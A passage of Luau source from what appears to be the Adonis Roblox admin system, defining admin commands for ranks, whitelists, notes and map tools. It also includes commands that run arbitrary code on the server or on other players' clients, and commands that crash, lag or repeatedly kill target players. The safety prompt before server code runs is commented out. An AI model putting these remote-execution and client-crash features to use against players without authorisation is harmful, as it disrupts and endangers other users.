SetLevel = {
Prefix = Settings.Prefix;
Commands = {"setlevel", "setadminlevel"};
Args = {"player", "level"};
Description = "Sets the target player(s) permission level for the current server; does not save";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local senderLevel = data.PlayerData.Level
local newLevel = assert(tonumber(args[2]), "Level must be a number")
assert(newLevel < senderLevel, `Level cannot be equal to or above your own permission level ({senderLevel})`);
for _, v in service.GetPlayers(plr, args[1])do
if senderLevel > Admin.GetLevel(v) then
Admin.SetLevel(v, newLevel)--, args[3] == "true")
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = `Your admin permission level was set to {newLevel} for this server only. Click to view commands.`;
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(v, true)} is now permission level {newLevel}`, {plr})
else
Functions.Hint(`You do not have permission to set the permission level of {service.FormatPlayer(v, true)}`, {plr})
end
end
end;
};
UnAdmin = {
Prefix = Settings.Prefix;
Commands = {"unadmin", "unmod", "unowner", "unpadmin", "unheadadmin", "unrank"};
Args = {"player/user / list entry", "temp? (true/false) (default: false)"};
Description = "Removes admin/moderator ranks from the target player(s); saves unless <temp> is 'true'";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local target = assert(args[1], "Missing target user (argument #1)")
local temp = args[2] and args[2]:lower() == "true"
local senderLevel = data.PlayerData.Level
local userFound = false
if not target:find(":") then
for _, v in service.GetPlayers(plr, target, {
UseFakePlayer = true;
DontError = true;
})
do
userFound = true
local targLevel, targRank = Admin.GetLevel(v)
if targLevel > 0 then
if senderLevel > targLevel then
Admin.RemoveAdmin(v, temp)
Functions.Hint(string.format("Removed %s from rank %s", service.FormatPlayer(v, true), targRank or "[unknown rank]"), {plr})
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = string.format("You are no longer a(n) %s", targRank or "admin");
Icon = server.MatIcons["Remove moderator"];
Time = 10;
})
else
Functions.Hint(`You do not have permission to remove {service.FormatPlayer(v, true)}'s rank`, {plr})
end
else
Functions.Hint(`{service.FormatPlayer(v, true)} does not already have any rank to remove`, {plr})
end
end
if userFound then
return
else
Functions.Hint("User not found in server; searching datastore", {plr})
end
end
for rankName, rankData in Settings.Ranks do
if senderLevel <= rankData.Level then
continue
end
for i, user in rankData.Users do
if not (user:lower() == target:lower() or user:lower():match(`^{target:lower()}:`) or Admin.DoCheck(target, user)) then
continue
end
if
Remote.GetGui(plr, "YesNoPrompt", {
Question = `Remove '{user}' from '{rankName}'?`;
}) == "Yes"
then
table.remove(rankData.Users, i)
if not temp and Settings.SaveAdmins then
service.TrackTask("Thread: RemoveAdmin", Core.DoSave, {
Type = "TableRemove";
Table = {"Settings", "Ranks", rankName, "Users"};
Value = user;
});
Functions.Hint(`Removed entry '{user}' from {rankName}`, {plr})
Logs:AddLog("Script", `{plr} removed {user} from {rankName}`)
end
end
userFound = true
end
end
assert(userFound, `No table entries matching '{args[1]}' were found`)
end
};
TempUnAdmin = {
Prefix = Settings.Prefix;
Commands = {"tempunadmin", "untempadmin", "tunadmin", "untadmin"};
Args = {"player"};
Description = "Removes the target players' admin powers for this server; does not save";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local senderLevel = data.PlayerData.Level
for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)")) do
local targetLevel = Admin.GetLevel(v)
if targetLevel > 0 then
if senderLevel > targetLevel then
Admin.RemoveAdmin(v, true)
Functions.Hint(`Removed {service.FormatPlayer(v)}'s admin powers`, {plr})
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = "Your admin powers have been temporarily removed";
Icon = server.MatIcons["Remove moderator"];
Time = 10;
})
else
Functions.Hint(`You do not have permission to remove {service.FormatPlayer(v, true)}'s admin powers`, {plr})
end
else
Functions.Hint(`{service.FormatPlayer(v, true)} is not an admin`, {plr})
end
end
end
};
TempModerator = {
Prefix = Settings.Prefix;
Commands = {"tempmod", "tmod", "tempmoderator", "tmoderator"};
Args = {"player"};
Description = "Makes the target player(s) a temporary moderator; does not save";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local senderLevel = data.PlayerData.Level
for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)")) do
if senderLevel > Admin.GetLevel(v) then
Admin.AddAdmin(v, "Moderators", true)
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = "You are a temp moderator. Click to view commands.";
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(v, true)} is now a temp moderator`, {plr})
else
Functions.Hint(`{service.FormatPlayer(v, true)} is already the same admin level as you or higher`, {plr})
end
end
end
};
Moderator = {
Prefix = Settings.Prefix;
Commands = {"permmod", "pmod", "mod", "moderator", "pmoderator"};
Args = {"player/user"};
Description = "Makes the target player(s) a moderator; saves";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local senderLevel = data.PlayerData.Level
for _, v in service.GetPlayers(plr, assert(args[1], "Missing target player (argument #1)"), {
UseFakePlayer = true;
})
do
if senderLevel > Admin.GetLevel(v) then
Admin.AddAdmin(v, "Moderators")
Remote.MakeGui(v, "Notification", {
Title = "Notification";
Message = "You are a moderator. Click to view commands.";
Icon = server.MatIcons.Shield;
Time = 10;
OnClick = Core.Bytecode(`client.Remote.Send('ProcessCommand','{Settings.Prefix}cmds')`);
})
Functions.Hint(`{service.FormatPlayer(v, true)} is now a moderator`, {plr})
else
Functions.Hint(`{service.FormatPlayer(v, true)} is already the same admin level as you or higher`, {plr})
end
end
end
};
Broadcast = {
Prefix = Settings.Prefix;
Commands = {"broadcast", "bc"};
Args = {"Message"};
Filter = true;
Description = "Makes a message in the chat window";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers() do
Remote.Send(v, "Function", "ChatMessage", string.format("[%s] %s", Settings.SystemTitle, service.Filter(args[1], plr, v)), Color3.fromRGB(255,64,77))
end
end
};
ShutdownLogs = {
Prefix = Settings.Prefix;
Commands = {"shutdownlogs", "shutdownlog", "slogs", "shutdowns"};
Args = {};
Description = "Shows who shutdown or restarted a server and when";
AdminLevel = "Admins";
ListUpdater = function(plr: Player)
local logs = Core.GetData("ShutdownLogs") or {}
local tab = {}
for i, v in logs do
if v.Restart then v.Time ..= " [RESTART]" end
tab[i] = {
Text = `{v.Time}: {v.User}`;
Desc = `Reason: {v.Reason}`;
}
end
return tab
end;
Function = function(plr: Player, args: {string})
Remote.MakeGui(plr, "List", {
Title = "Shutdown Logs";
Table = Logs.ListUpdaters.ShutdownLogs(plr);
Update = "ShutdownLogs";
})
end
};
ServerLock = {
Prefix = Settings.Prefix;
Commands = {"slock", "serverlock", "lockserver"};
Args = {"on/off"};
Description = "Enables/disables server lock";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local arg = args[1] and string.lower(args[1])
if (not arg and Variables.ServerLock ~= true) or arg == "on" or arg == "true" then
Variables.ServerLock = true
Functions.Hint("Server Locked", service.Players:GetPlayers())
elseif Variables.ServerLock == true or arg == "off" or arg == "false" then
Variables.ServerLock = false
Functions.Hint("Server Unlocked", service.Players:GetPlayers())
end
end
};
Whitelist = {
Prefix = Settings.Prefix;
Commands = {"wl", "enablewhitelist", "whitelist"};
Args = {"on/off/add/remove/list", "optional player"};
Description = "Enables/disables the whitelist; :wl username to add them to the whitelist";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local sub = string.lower(args[1])
if sub == "on" or sub == "enable" then
Variables.Whitelist.Enabled = true
Functions.Hint("Enabled server whitelist", service.Players:GetPlayers())
elseif sub == "off" or sub == "disable" then
Variables.Whitelist.Enabled = false
Functions.Hint("Disabled server whitelist", service.Players:GetPlayers())
elseif sub == "add" then
if args[2] then
local plrs = service.GetPlayers(plr, args[2], {
DontError = true;
IsServer = false;
IsKicking = false;
NoFakePlayer = false;
})
if #plrs>0 then
for _, v in plrs do
table.insert(Variables.Whitelist.Lists.Settings, `{v.Name}:{v.UserId}`)
Functions.Hint(`Added {service.FormatPlayer(v)} to the whitelist`, {plr})
end
else
table.insert(Variables.Whitelist.Lists.Settings, args[2])
end
else
error("Missing user argument")
end
elseif sub == "remove" then
if args[2] then
for i, v in Variables.Whitelist.Lists.Settings do
if string.sub(string.lower(v), 1,#args[2]) == string.lower(args[2])then
table.remove(Variables.Whitelist.Lists.Settings,i)
Functions.Hint(`Removed {v} from the whitelist`, {plr})
end
end
else
error("Missing user argument")
end
elseif sub == "list" then
local Tab = {}
for Key, List in Variables.Whitelist.Lists do
local Prefix = Key == "Settings" and "" or `[{Key}] `
for _, User in List do
table.insert(Tab, {Text = Prefix .. User, Desc = User})
end
end
Remote.MakeGui(plr, "List", {Title = "Whitelist List"; Tab = Tab;})
else
error("Invalid subcommand (on/off/add/remove/list)")
end
end
};
SystemNotify = {
Prefix = Settings.Prefix;
Commands = {"sn", "systemnotify", "sysnotif", "sysnotify", "systemsmallmessage", "snmessage", "snmsg", "ssmsg", "ssmessage"};
Args = {"message"};
Filter = true;
Description = "Makes a system small message";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing message")
for _, v in service.GetPlayers() do
Remote.RemoveGui(v, "Notify")
Remote.MakeGui(v, "Notify", {
Title = Settings.SystemTitle;
Message = service.Filter(args[1], plr, v);
})
end
end
};
Notif = {
Prefix = Settings.Prefix;
Commands = {"setmessage", "notif", "setmsg"};
Args = {"message OR off"};
Filter = true;
Description = "Sets a small hint message at the top of the screen";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing message (or enter 'off' to disable)")
if args[1] == "off" or args[1] == "false" then
Variables.NotifMessage = nil
for _, v in service.GetPlayers() do
Remote.RemoveGui(v, "Notif")
end
else
Variables.NotifMessage = args[1]
for _, v in service.GetPlayers() do
Remote.MakeGui(v, "Notif", {
Message = Variables.NotifMessage;
})
end
end
end
};
SetBanMessage = {
Prefix = Settings.Prefix;
Commands = {"setbanmessage", "setbmsg"};
Args = {"message"};
Filter = true;
Description = "Sets the ban message banned players see";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
Variables.BanMessage = assert(args[1], "Missing message (argument #1)")
end
};
SetLockMessage = {
Prefix = Settings.Prefix;
Commands = {"setlockmessage", "slockmsg", "setlmsg"};
Args = {"message"};
Filter = true;
Description = "Sets the lock message unwhitelisted players see if :whitelist or :slock is on";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
Variables.LockMessage = assert(args[1], "Missing message (argument #1)")
end
};
SystemMessage = {
Prefix = Settings.Prefix;
Commands = {"sm", "systemmessage", "sysmsg"};
Args = {"message"};
Filter = true;
Description = "Same as message but says SYSTEM MESSAGE instead of your name, or whatever system message title is server to...";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing message (argument #1)")
for _, v in service.Players:GetPlayers() do
Remote.RemoveGui(v, "Message")
Remote.MakeGui(v, "Message", {
Title = Settings.SystemTitle;
Message = args[1];
})
end
end
};
SetCoreGuiEnabled = {
Prefix = Settings.Prefix;
Commands = {"setcoreguienabled", "setcoreenabled", "showcoregui", "setcoregui", "setcgui", "setcore", "setcge"};
Args = {"player", "All/Backpack/Chat/EmotesMenu/Health/PlayerList", "true/false"};
Description = "Enables or disables CoreGui elements for the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[3], "Missing state (argument #3)")
local enable = if args[3]:lower() == "on" or args[3]:lower() == "true" then true elseif args[3]:lower() == "off" or args[3]:lower() == "false" then false else nil
assert(enable ~= nil, `Invalid state '{args[3]}'; please supply 'true' or 'false' (argument #3)`)
for _,v in service.GetPlayers(plr, args[1]) do
if string.lower(args[3]) == "on" or string.lower(args[3]) == "true" then
Remote.Send(v, "Function", "SetCoreGuiEnabled", args[2], true)
elseif string.lower(args[3]) == 'off' or string.lower(args[3]) == "false" then
Remote.Send(v, "Function", "SetCoreGuiEnabled", args[2], false)
end
end
end
};
Alert = {
Prefix = Settings.Prefix;
Commands = {"alert", "alarm", "annoy"};
Args = {"player", "message"};
Filter = true;
Description = "Get someone's attention";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr,string.lower(args[1]))do
Remote.MakeGui(v, "Alert", {Message = args[2] and service.Filter(args[2],plr, v) or "Wake up; Your attention is required"})
end
end
};
LockMap = {
Prefix = Settings.Prefix;
Commands = {"lockmap"};
Args = {};
Description = "Locks the map";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, obj in workspace:GetDescendants()do
if obj:IsA("BasePart")then
obj.Locked = true
end
end
end
};
UnlockMap = {
Prefix = Settings.Prefix;
Commands = {"unlockmap"};
Args = {};
Description = "Unlocks the map";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, obj in workspace:GetDescendants()do
if obj:IsA("BasePart")then
obj.Locked = false
end
end
end
};
BuildingTools = {
Prefix = Settings.Prefix;
Commands = {"btools", "f3x", "buildtools", "buildingtools", "buildertools"};
Args = {"player"};
Description = "Gives the target player(s) F3X building tools.";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
warn("Requiring F3X Module. Expand for model URL > ", {URL = "https://www.roblox.com/library/".. 580330877})
local F3X = require(580330877)()
do
service.New("StringValue", {
Name = `__ADONIS_VARIABLES_{Variables.CodeName}`,
Parent = F3X
})
end
for _, v in service.GetPlayers(plr, args[1]) do
local Backpack = v:FindFirstChildOfClass("Backpack")
if Backpack then
F3X:Clone().Parent = Backpack
end
end
end
};
Insert = {
Prefix = Settings.Prefix;
Commands = {"insert", "ins"};
Args = {"id"};
Description = "Inserts whatever object belongs to the ID you supply, the object must be in the place owner's or ROBLOX's inventory";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local id = string.lower(args[1])
for i, v in Variables.InsertList do
if id == string.lower(v.Name)then
id = v.ID
break
end
end
for i, v in HTTP.Trello.InsertList do
if id == string.lower(v.Name) then
id = v.ID
break
end
end
local obj = service.Insert(tonumber(id), true)
if obj and plr.Character then
table.insert(Variables.InsertedObjects, obj)
obj.Parent = workspace
pcall(obj.MakeJoints, obj)
obj:PivotTo(plr.Character:GetPivot())
end
end
};
SaveTool = {
Prefix = Settings.Prefix;
Commands = {"addtool", "savetool", "maketool"};
Args = {"optional player", "optional new tool name"};
Description = `Saves the equipped tool to the storage so that it can be inserted using {Settings.Prefix}give`;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
local tool = v.Character and v.Character:FindFirstChildWhichIsA("BackpackItem")
if tool then
tool = tool:Clone()
if args[2] then tool.Name = args[2] end
tool.Parent = service.UnWrap(Settings.Storage)
Variables.SavedTools[tool] = service.FormatPlayer(plr)
Functions.Hint(`Added tool: {tool.Name}`, {plr})
elseif not args[1] then
error("You must have an equipped tool to add to the storage.")
end
end
end
};
ClearSavedTools = {
Prefix = Settings.Prefix;
Commands = {"clraddedtools", "clearaddedtools", "clearsavedtools", "clrsavedtools"};
Args = {};
Description = `Removes any tools in the storage added using {Settings.Prefix}savetool`;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local count = 0
for tool in Variables.SavedTools do
count += 1
tool:Destroy()
end
table.clear(Variables.SavedTools)
Functions.Hint(string.format("Cleared %d saved tool%s.", count, count == 1 and "" or "s"), {plr})
end
};
NewTeam = {
Prefix = Settings.Prefix;
Commands = {"newteam", "createteam", "maketeam"};
Args = {"name", "BrickColor"};
Filter = true;
Description = "Make a new team with the specified name and color";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local teamName = assert(args[1], "Missing team name (argument #1)")
local teamColor = Functions.ParseBrickColor(args[2])
service.New("Team", {
Parent = service.Teams;
Name = teamName;
TeamColor = teamColor;
AutoAssignable = false;
})
if Settings.CommandFeedback then
Functions.Hint(string.format("Created new team '%s' (%s)", teamName, teamColor.Name), {plr})
end
end
};
RemoveTeam = {
Prefix = Settings.Prefix;
Commands = {"removeteam", "deleteteam"};
Args = {"name"};
Description = "Remove the specified team";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.Teams:GetTeams() do
if string.sub(string.lower(v.Name), 1, #args[1]) == string.lower(args[1]) then
local ans = Remote.GetGui(plr, "YesNoPrompt", { Question = `Remove team: '{v.Name}'?` })
if ans == "Yes" then
v:Destroy()
return Functions.Hint(`Removed team {v.Name}`, {plr})
else
return Functions.Hint("Cancelled team removal operation", {plr})
end
end
end
end
};
RestoreMap = {
Prefix = Settings.Prefix;
Commands = {"restoremap", "maprestore", "rmap"};
Args = {};
Description = "Restore the map to the the way it was the last time it was backed up";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local plrName = plr and service.FormatPlayer(plr) or "<SERVER>"
if not Variables.MapBackup then
error("Cannot restore when there are no backup maps!", 0)
return
end
if Variables.RestoringMap then
error("Map has not been backed up",0)
return
end
if Variables.BackingupMap then
error("Cannot restore map while backing up map is in process!", 0)
return
end
Variables.RestoringMap = true
Functions.Hint("Restoring Map...", service.Players:GetPlayers())
for _, obj in workspace:GetChildren() do
if obj.ClassName ~= "Terrain" and not service.Players:GetPlayerFromCharacter(obj) then
obj:Destroy()
service.RunService.Stepped:Wait()
end
end
local new = Variables.MapBackup:Clone()
for _, obj in new:GetChildren() do
obj.Parent = workspace
if obj:IsA("Model") then
obj:MakeJoints()
end
end
new:Destroy()
local Terrain = workspace.Terrain or workspace:FindFirstChildOfClass("Terrain")
if Terrain and Variables.TerrainMapBackup then
Terrain:Clear()
Terrain:PasteRegion(Variables.TerrainMapBackup, Terrain.MaxExtents.Min, true)
end
task.wait()
Admin.RunCommand(`{Settings.Prefix}respawn`, "all")
Variables.RestoringMap = false
Functions.Hint('Map Restore Complete.',service.Players:GetPlayers())
Logs:AddLog("Script", {
Text = "Map Restoration Complete",
Desc = `{plrName} has restored the map.`,
})
end
};
ScriptBuilder = {
Prefix = Settings.Prefix;
Commands = {"scriptbuilder", "scriptb", "sb"};
Args = {"create/remove/edit/close/clear/append/run/stop/list", "localscript/script", "scriptName", "data"};
Description = "[Deprecated] Script Builder; make a script, then edit it and chat it's code or use :sb append <codeHere>";
AdminLevel = "Admins";
Hidden = true;
NoFilter = true;
CrossServerDenied = true;
Function = function(plr: Player, args: {string})
assert(Settings.CodeExecution, "CodeExecution must be enabled for this command to work")
local sb = Variables.ScriptBuilder[tostring(plr.UserId)]
if not sb then
sb = {
Script = {};
LocalScript = {};
Events = {};
}
Variables.ScriptBuilder[tostring(plr.UserId)] = sb
end
local action = string.lower(args[1])
local class = args[2] or "LocalScript"
local name = args[3]
if string.lower(class) == "script" or string.lower(class) == "s" then
class = "Script"
--elseif string.lower(class) == "localscript" or string.lower(class) == "ls" then
-- class = "LocalScript"
else
class = "LocalScript"
end
if action == "create" then
assert(args[1] and args[2] and args[3], "Missing arguments")
local code = args[4] or " "
if sb[class][name] then
pcall(function()
sb[class][name].Script.Disabled = true
sb[class][name].Script:Destroy()
end)
if sb.ChatEvent then
sb.ChatEvent:Disconnect()
end
end
local wrapped,scr = Core.NewScript(class,code,false,true)
sb[class][name] = {
Wrapped = wrapped;
Script = scr;
}
if args[4] then
Functions.Hint(`Created {class} {name} and appended text`, {plr})
else
Functions.Hint(`Created {class} {name}`, {plr})
end
elseif action == "edit" then
assert(args[1] and args[2] and args[3], "Missing arguments")
if sb[class][name] then
local scr = sb[class][name].Script
local tab = Core.GetScript(scr)
if scr and tab then
sb[class][name].Event = plr.Chatted:Connect(function(msg)
if string.sub(msg, 1,#(`{Settings.Prefix}sb`)) ~= `{Settings.Prefix}sb` then
tab.Source ..= `\n{msg}`
Functions.Hint(`Appended message to {class} {name}`, {plr})
end
end)
Functions.Hint(`Now editing {class} {name}; Chats will be appended`, {plr})
end
else
error(`{class} {name} not found!`)
end
elseif action == "close" then
assert(args[1] and args[2] and args[3], "Missing arguments")
local scr = sb[class][name].Script
local tab = Core.GetScript(scr)
if sb[class][name] then
if sb[class][name].Event then
sb[class][name].Event:Disconnect()
sb[class][name].Event = nil
Functions.Hint(`No longer editing {class} {name}`, {plr})
end
else
error(`{class} {name} not found!`)
end
elseif action == "clear" then
assert(args[1] and args[2] and args[3], "Missing arguments")
local scr = sb[class][name].Script
local tab = Core.GetScript(scr)
if scr and tab then
tab.Source = " "
Functions.Hint(`Cleared {class} {name}`, {plr})
else
error(`{class} {name} not found!`)
end
elseif action == "remove" then
assert(args[1] and args[2] and args[3], "Missing arguments")
if sb[class][name] then
pcall(function()
sb[class][name].Script.Disabled = true
sb[class][name].Script:Destroy()
end)
if sb.ChatEvent then
sb.ChatEvent:Disconnect()
sb.ChatEvent = nil
end
sb[class][name] = nil
else
error(`{class} {name} not found!`)
end
elseif action == "append" then
assert(args[1] and args[2] and args[3] and args[4], "Missing arguments")
if sb[class][name] then
local scr = sb[class][name].Script
local tab = Core.GetScript(scr)
if scr and tab then
tab.Source ..= `\n{args[4]}`
Functions.Hint(`Appended message to {class} {name}`, {plr})
end
else
error(`{class} {name} not found!`)
end
elseif action == "run" then
assert(args[1] and args[2] and args[3], "Missing arguments")
if sb[class][name] then
if class == "LocalScript" then
sb[class][name].Script.Parent = plr:FindFirstChildOfClass("Backpack")
else
sb[class][name].Script.Parent = service.ServerScriptService
end
sb[class][name].Script.Disabled = true
task.wait(0.03)
sb[class][name].Script.Disabled = false
Functions.Hint(`Running {class} {name}`, {plr})
else
error(`{class} {name} not found!`)
end
elseif action == "stop" then
assert(args[1] and args[2] and args[3], "Missing arguments")
if sb[class][name] then
sb[class][name].Script.Disabled = true
Functions.Hint(`Stopped {class} {name}`, {plr})
else
error(`{class} {name} not found!`)
end
elseif action == "list" then
local tab = {}
for i, v in sb.Script do
table.insert(tab, {Text = `Script: {i}`, Desc = `Running: {v.Script.Disabled}`})
end
for i, v in sb.LocalScript do
table.insert(tab, {Text = `LocalScript: {i}`, Desc = `Running: {v.Script.Disabled}`})
end
Remote.MakeGui(plr, "List", {Title = "SB Scripts", Table = tab})
end
end
};
MakeScript = {
Prefix = Settings.Prefix;
Commands = {"s", "ss", "serverscript", "sscript", "script", "makescript"};
Args = {"code"};
Description = "Executes the given Lua code on the server";
AdminLevel = "Admins";
NoFilter = true;
CrossServerDenied = true;
Function = function(plr: Player, args: {string})
assert(Settings.CodeExecution, "CodeExecution config must be enabled for this command to work")
assert(args[1], "Missing Script code (argument #2)")
--[[Remote.RemoveGui(plr, "Prompt_MakeScript")
if
plr == false
or Remote.GetGui(plr, "YesNoPrompt", {
Name = "Prompt_MakeScript";
Size = {250, 200},
Title = "Script Confirmation";
Icon = server.MatIcons.Warning;
Question = "Are you sure you want to execute the code directly on the server? This action is irreversible and may potentially be dangerous; only run scripts that you trust!";
Delay = 2;
}) == "Yes"
then]]
local bytecode = Core.Bytecode(args[1])
assert(string.find(bytecode, "\27Lua"), `Script unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`)
local cl = Core.NewScript("Script", args[1], true)
cl.Name = "[Adonis] Script"
cl.Parent = service.ServerScriptService
task.wait()
cl.Disabled = false
Functions.Hint("Ran Script", {plr})
--[[else
Functions.Hint("Operation cancelled", {plr})
end]]
end
};
MakeLocalScript = {
Prefix = Settings.Prefix;
Commands = {"ls", "localscript", "lscript"};
Args = {"code"};
Description = "Executes the given code on your client";
AdminLevel = "Admins";
NoFilter = true;
Function = function(plr: Player, args: {string})
assert(args[1], "Missing LocalScript code (argument #2)")
local bytecode = Core.Bytecode(args[1])
assert(string.find(bytecode, "\27Lua"), `LocalScript unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`)
local cl = Core.NewScript("LocalScript", `script.Parent = game:GetService('Players').LocalPlayer.PlayerScripts; {args[1]}`, true)
cl.Name = "[Adonis] LocalScript"
cl.Disabled = true
cl.Parent = plr:FindFirstChildOfClass("Backpack")
task.wait()
cl.Disabled = false
Functions.Hint("Ran LocalScript on your client", {plr})
end
};
LoadLocalScript = {
Prefix = Settings.Prefix;
Commands = {"cs", "cscript", "clientscript"};
Args = {"player", "code"};
Description = "Executes the given code on the client of the target player(s)";
AdminLevel = "Admins";
NoFilter = true;
Function = function(plr: Player, args: {string})
assert(args[2], "Missing LocalScript code (argument #2)")
local bytecode = Core.Bytecode(args[2])
assert(string.find(bytecode, "\27Lua"), `LocalScript unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`)
local new = Core.NewScript("LocalScript", `script.Parent = game:GetService('Players').LocalPlayer.PlayerScripts; {args[2]}`, true)
for i, v in service.GetPlayers(plr, args[1]) do
local cl = new:Clone()
cl.Name = "[Adonis] LocalScript"
cl.Disabled = true
cl.Parent = v:FindFirstChildOfClass("Backpack")
task.wait()
cl.Disabled = false
Functions.Hint(`Ran LocalScript on {service.FormatPlayer(v)}`, {plr})
end
end
};
Note = {
Prefix = Settings.Prefix;
Commands = {"note", "writenote", "makenote"};
Args = {"player", "note"};
Filter = true;
Description = "Makes a note on the target player(s) that says <note>";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[2], "Missing note (argument #2)")
for _, v in service.GetPlayers(plr, args[1]) do
local PlayerData = Core.GetPlayer(v)
if not PlayerData.AdminNotes then PlayerData.AdminNotes = {} end
table.insert(PlayerData.AdminNotes, args[2])
Functions.Hint(`Added {service.FormatPlayer(v)} Note {args[2]}`, {plr})
Core.SavePlayer(v, PlayerData)
end
end
};
DeleteNote = {
Prefix = Settings.Prefix;
Commands = {"removenote", "remnote", "deletenote"};
Args = {"player", "note (specify 'all' to delete all notes)"};
Description = "Removes a note on the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[2], "Missing note (argument #2)")
for _, v in service.GetPlayers(plr, args[1]) do
local PlayerData = Core.GetPlayer(v)
if PlayerData.AdminNotes then
if string.lower(args[2]) == "all" then
PlayerData.AdminNotes = {}
else
for k, m in PlayerData.AdminNotes do
if string.sub(string.lower(m), 1, #args[2]) == string.lower(args[2]) then
Functions.Hint(`Removed {service.FormatPlayer(v)} Note {m}`, {plr})
table.remove(PlayerData.AdminNotes, k)
end
end
end
Core.SavePlayer(v, PlayerData)
end
end
end
};
ShowNotes = {
Prefix = Settings.Prefix;
Commands = {"notes", "viewnotes"};
Args = {"player"};
Description = "Views notes on the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
local PlayerData = Core.GetPlayer(v)
local notes = PlayerData.AdminNotes
if not notes then
Functions.Hint(`No notes found on {service.FormatPlayer(v)}`, {plr})
continue
end
Remote.MakeGui(plr, "List", {Title = service.FormatPlayer(v), Table = notes})
end
end
};
LoopKill = {
Prefix = Settings.Prefix;
Commands = {"loopkill"};
Args = {"player", "num (optional)"};
Description = "Repeatedly kills the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local num = tonumber(args[2]) or 9999
for _, v in service.GetPlayers(plr, args[1]) do
service.StopLoop(`{v.UserId}LOOPKILL`)
local count = 0
Routine(service.StartLoop, `{v.UserId}LOOPKILL`, 3, function()
local hum = v.Character and v.Character:FindFirstChildOfClass("Humanoid")
if hum and hum.Health > 0 then
hum.Health = 0
count += 1
end
if count == num then
service.StopLoop(`{v.UserId}LOOPKILL`)
end
end)
end
end
};
UnLoopKill = {
Prefix = Settings.Prefix;
Commands = {"unloopkill"};
Args = {"player"};
Description = "Un-Loop Kill";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
service.StopLoop(`{v.UserId}LOOPKILL`)
end
end
};
Lag = {
Prefix = Settings.Prefix;
Commands = {"lag", "fpslag"};
Args = {"player"};
Description = "Makes the target player(s)'s FPS drop";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1]) do
if Admin.CheckAuthority(plr, v, "lag") then
Remote.Send(v, "Function", "SetFPS", 5.6)
end
end
end
};
UnLag = {
Prefix = Settings.Prefix;
Commands = {"unlag", "unfpslag"};
Args = {"player"};
Description = "Un-Lag";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
Remote.Send(v, "Function", "RestoreFPS")
end
end
};
Crash = {
Prefix = Settings.Prefix;
Commands = {"crash"};
Args = {"player"};
Description = "Crashes the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "crash") then
Remote.Send(v, "Function", "Crash")
end
end
end
};
HardCrash = {
Prefix = Settings.Prefix;
Commands = {"hardcrash"};
Args = {"player"};
Description = "Hard-crashes the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "hard-crash") then
Remote.Send(v, "Function", "HardCrash")
end
end
end
};
RAMCrash = {
Prefix = Settings.Prefix;
Commands = {"ramcrash", "memcrash"};
Args = {"player"};
Description = "RAM-crashes the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "RAM-crash") then
Remote.Send(v, "Function", "RAMCrash")
end
end
end
};
GPUCrash = {
Prefix = Settings.Prefix;
